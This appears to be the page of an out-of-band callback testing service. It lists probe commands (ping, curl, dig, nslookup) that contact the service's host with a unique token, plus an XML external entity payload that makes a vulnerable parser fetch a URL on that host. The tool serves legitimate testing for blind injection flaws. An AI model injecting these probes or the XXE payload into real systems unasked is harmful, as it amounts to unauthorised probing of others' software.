$ ping -c1 -p 0063cc5da8467c366d449707b718b700 unhack.ca
 
$ curl http://unhack.ca/p/63cc5da8467c366d449707b718b7
 
$ dig 63cc5da8467c366d449707b718b7 @unhack.ca
 
$ dig 63cc5da8467c366d449707b718b7.ns.unhack.ca
 
C:\> nslookup 63cc5da8467c366d449707b718b7 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/63cc5da8467c366d449707b718b7">]>
    <foo>&xxe;</foo>
Waiting for ping...